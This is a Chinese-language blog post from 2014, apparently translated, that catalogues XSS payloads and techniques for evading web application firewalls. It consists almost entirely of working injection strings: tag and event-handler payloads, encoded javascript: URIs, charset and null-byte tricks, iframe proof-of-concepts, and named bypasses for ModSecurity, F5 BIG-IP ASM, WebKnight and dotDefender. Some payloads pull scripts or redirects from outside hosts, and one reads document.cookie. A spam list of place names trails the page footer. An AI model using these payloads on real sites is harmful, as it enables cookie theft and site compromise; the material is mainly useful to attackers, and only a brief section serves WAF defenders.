qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          XSS現代WAF規則探測及繞過技術

           初始測試
            1、使用無害的payload,類似<b>,<i>,<u>觀察響應,判斷應用程序是否被HTML編碼,是否標簽被過濾,是否過濾<>等等;
            2、如果過濾閉合標簽,嘗試無閉合標簽的payload(<b,<i,<marquee)觀察響應;
            3、嘗試以下的payload
            <script>alert(1);</script>
            <script>prompt(1);</script>
            <script>confirm      (1);</script>
            <script src="http://rhainfosec.com/evil.js">
            判斷是否觸發過濾規則,嘗試使用大小寫混合字符
            <scRiPt>alert(1);</scrIPt>
            1、如果大小寫不行的話,<script>被過濾嘗試<scr<script>ipt>alert(1)</scr<script>ipt>;
            2、使用<a>標簽測試
            <a  href=“http://www.google.com">Clickme</a>
            <a被過濾?
            href被過濾?
            其他內容被過濾?
            如果沒有過濾嘗試使用<a href=”javascript:alert(1)”>Clickme</a>
            嘗試使用錯誤的事件查看過濾<a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>
            HTML5擁有150個事件處理函數,可以多嘗試其他函數<body/onhashchange=alert(1)><a href=#>clickit
            測試其他標簽
            src屬性
          <img src=x      onerror=prompt(1);>
          <img/src=aaa.jpg      onerror=prompt(1);
          <video src=x      onerror=prompt(1);>
          <audio src=x      onerror=prompt(1);>
          iframe
          <iframesrc="javascript:alert(2)">
          <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
          Embed
          <embed/src=//goo.gl/nlX0P>
          Action
          <form action="Javascript:alert(1)"><input type=submit>
          <isindex action="javascript:alert(1)" type=image>
          <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
          <isindex action=data:text/html, type=image>
          mario驗證
          <formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK
          “formaction”屬性
          <isindexformaction="javascript:alert(1)"      type=image>
          <input type="image" formaction=JaVaScript:alert(0)>
          <form><button formaction=javascript&colon;alert(1)>CLICKME
          “background”屬性
          <table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
          “posters” 屬性
          <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
          “data”屬性
          <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
          <object/data=//goo.gl/nlX0P?
          “code”屬性
          <applet code="javascript:confirm(document.cookie);"> // Firefox Only
          <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>
           事件處理
          <svg/onload=prompt(1);>
          <marquee/onstart=confirm(2)>/
          <bodyonload=prompt(1);>
          <selectautofocusonfocus=alert(1)>
          <textareaautofocusonfocus=alert(1)>
          <keygenautofocusonfocus=alert(1)>
          <video><sourceonerror="javascript:alert(1)">
          短payload
          <q/oncut=open()>
          <q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.
            嵌套欺騙
            <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
            <body  language=vbsonload=alert-1 // Works with IE8
            <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8
            圓括號被過濾
          <a onmouseover="javascript:window.onerror=alert;throw 1>
          <img src=x onerror="javascript:window.onerror=alert;throw 1">
          <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
          Expression 屬性
          <img style="xss:expression(alert(0))"> // Works upto IE7.
          <div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
          <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
          “location”屬性
          <a onmouseover=location=’javascript:alert(1)>click
          <body onfocus="location='javascrpt:alert(1) >123
            其他Payload
          <meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
          <meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
          <svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
          <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
          <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
          <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
          <math><a xlink:>click // By Ashar Javed
          ();:被過濾
          <svg><script>alert(/1/)</script>      // Works With All Browsers
          ( is html encoded to (
          ) is html encoded to )
            Opera的變量
            <svg><script>alert(      1) // Works with Opera Only
            實體解碼
            &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
            <a  href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
            編碼
            JavaScript是很靈活的語言,可以使用十六進制、Unicode、HTML等進行編碼,以下屬性可以被編碼(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
          href=
          action=
          formaction=
          location=
          on*=
          name=
          background=
          poster=
          src=
          code=
          data= //只支持base64
            基于上下文的過濾
            WAF最大的問題是不能理解內容,使用黑名單可以阻擋獨立的js腳本,但仍不能對xss提供足夠的保護,如果一個反射型的XSS是下面這種形式輸入反射屬性
            <input value="XSStest" type=text>
            我們可以使用 “><imgsrc=x  onerror=prompt(0);>觸發,但是如果<>被過濾,我們仍然可以使用“ autofocusonfocus=alert(1)//觸發,基本是使用“ 關閉value屬性,再加入我們的執行腳本
            " onmouseover="prompt(0) x="
            " onfocusin=alert(1)     autofocus x="
            " onfocusout=alert(1)     autofocus x="
            " onblur=alert(1) autofocus     a="
            輸入反射在<script>標簽內
            類似這種情況:
            <script>
            Var
            x=”Input”;
            </script>
            通常,我們使用“></script>,閉合前面的</script>標簽,然而在這種情況,我們也可以直接輸入執行腳本alert(), prompt()
            confirm() ,例如:
            “;alert(1)//
            非常規事件監聽
            DOMfocusin,DOMfocusout,等事件,這些需要特定的事件監聽適當的執行。例如:
            ";document.body.addEventListener("DOMActivate",alert(1))//
            ";document.body.addEventListener("DOMActivate",prompt(1))//
            ";document.body.addEventListener("DOMActivate",confirm(1))//
            此類事件的列表
          DOMAttrModified
          DOMCharacterDataModified
          DOMFocusIn
          DOMFocusOut
          DOMMouseScroll
          DOMNodeInserted
          DOMNodeInsertedIntoDocument
          DOMNodeRemoved
          DOMNodeRemovedFromDocument
          DOMSubtreeModified
            超文本內容
            代碼中的情況如下
            <a
            href=”Userinput”>Click</a>
            可以使用javascript:alert(1)//直接執行<a
            href=”javascript:alert(1)//”>Click</a>
            變形
            主要包含大小寫和
            JavaScript變形
            javascript:alert(1)
            javaSCRIPT&colon;alert(1)
            JaVaScRipT:alert(1)
            javas&Tab;cript:\u0061lert(1);
            javascript:\u0061lert(1)
            javascript:alert&lpar;document&period;cookie&rpar;      // AsharJaved
            IE10以下和URI中可以使用VBScript
            vbscript:alert(1);
            vbscript:alert(1);
            vbscr&Tab;ipt:alert(1)"
            Data URl
            data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
            JSON內容
            反射輸入
            encodeURIComponent('userinput')
            可以使用
            -alert(1)-
            -prompt(1)-
            -confirm(1)-
            結果
            encodeURIComponent(''-alert(1)-'')
            encodeURIComponent(''-prompt(1)-'')
            輸入反射在svg標簽內
            源碼如下:
            <svg><script>varmyvar=”YourInput”;</script></svg>
            可以輸入
            www.site.com/test.php?var=text”;alert(1)//
            如果系統編碼了”字符
            <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
            原因是引入了附加的(XML)到HTML內容里,可以使用2次編碼處理
            瀏覽器BUG
            字符集BUG
            字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集編碼,我們可以繞過99% 的WAF過濾。
            示例
            http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
            可以控制編碼,提交
            http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
            src=x onerror=prompt(0);>
            可以修改為UTF-32編碼形式
            ???script?alert(1)?/script?
            http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
            空字節
            最長用來繞過mod_security防火墻,形式如下:
            <scri%00pt>alert(1);</scri%00pt>
            <scri\x00pt>alert(1);</scri%00pt>
            <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
            空字節只適用于PHP 5.3.8以上的版本
            語法BUG
            RFC聲明中節點名稱不能是空格,以下的形式在javascript中不能運行
            <script>alert(1);</script>
            <%0ascript>alert(1);</script>
            <%0bscript>alert(1);</script>
            <%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
            <//     style=x:expression\28write(1)\29> // Works upto IE7
            參考http://html5sec.org/#71
            <!--[if]><script>alert(1)</script     --> // Works upto IE9
            參考http://html5sec.org/#115
            <?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7
            參考 http://html5sec.org/#77
            <%div%20style=xss:expression(prompt(1))>     // Works Upto IE7
            Unicode分隔符
            [on\w+\s*]這個規則過濾了所有on事件,為了驗證每個瀏覽器中有效的分隔符,可以使用fuzzing方法測試0×00到0xff,結果如下:
            IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
            Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
            Safari = [0x2C,0x3B]
            FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
            Opera = [0x09,0x20,0x2C,0x3B]
            Android =     [0x09,0x20,0x28,0x2C,0x3B]
            x0b在Mod_security中已經被過濾,繞過的方法:
            <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
            缺少X-frame選項
            通常會認為X-frame是用來防護點擊劫持的配置,其實也可以防護使用iframe引用的xss漏洞
            Docmodes
            IE引入了doc-mode很長時間,提供給老版本瀏覽器的后端兼容性,有風險,攻擊情景是黑客可以引用你站點的框架,他可以引入doc-mode執行css表達式
            expression(open(alert(1)))
            以下POC可以插入到IE7中
            <html>
            <body>
            <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
            <iframesrc="https://targetwebsite.com">
            </body>
            </html>
           Window.name欺騙
            情景:我們用iframe加載一個頁面,我們可以控制窗口的名稱,這里也可以執行javascript代碼
            POC
            <iframesrc='http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//'
            name="javascript:alert("XSS")"></iframe>
            DOM型XSS
            服務器不支持過濾DOM型的XSS,因為DOM型XSS總是在客戶端執行,看一個例子:
            <script>
            vari=location.hash;
            document.write(i);
            </script>
            在一些情況下,反射型XSS可以轉換成DOM型XSS:
            http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
            上面的POC只在[.+都被允許的情況下適用,可以使用location.hash注入任何不允許的編碼
            Location.hash[1] = :  // Defined at the first position after     the hash.
            Location.hash[2]= (  // Defined at the second position after     the has
            Location.hash[3] = ) // Defined     at third position after the hash.
            如果有客戶端過濾可能不適用
            繞過
            ModSecurity繞過
            <scri%00pt>confirm(0);</scri%00pt>
            <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
            參考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
            WEB KNIGHT繞過
            <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
            <marquee/onstart=confirm(2)>
            F5 BIG IP ASM and Palo ALTO繞過
            <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
            “/><marquee  onfinish=confirm(123)>a</marquee>
            Dot Defender繞過
            <svg/onload=prompt(1);>
            <isindex action="javas&tab;cript:alert(1)" type=image>
            <marquee/onstart=confirm(2)>
            結論
            黑名單方式永遠不是最好的解決辦法,但是相對與白名單效率很高,對于WAF供應商來說,最好的實踐如下:
            1、開發者和管理員要注意WAF只能緩解攻擊,并且針對已知的弱點的防護只是和源代碼修復的方法打個時間差;
            2、要保持WAF的規則庫更新;
            3、WAF可以配置參數限制,需要提供手冊用于配置參數content-length最大最小長度,content-type類型,在入侵時進行告警;
            4、如果WAF依據黑名單,要確保可以阻斷已知的瀏覽器BUG,并且相應規則庫要及時更新。

          posted on 2014-07-02 16:35 順其自然EVO 閱讀(2117) 評論(0)  編輯  收藏 所屬分類: selenium and watir webdrivers 自動化測試學習

          <2014年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 红原县| 湘潭市| 黄陵县| 尤溪县| 灯塔市| 定安县| 福清市| 双城市| 娱乐| 沾化县| 陵川县| 临沂市| 当阳市| 昆明市| 永德县| 四平市| 东港市| 通化县| 通化市| 汤原县| 黄梅县| 临江市| 永吉县| 从江县| 栖霞市| 永丰县| 乌拉特后旗| 延边| 荥经县| 彭泽县| 读书| 德州市| 德惠市| 资中县| 彩票| 康保县| 新绛县| 鹰潭市| 儋州市| 新津县| 扶风县|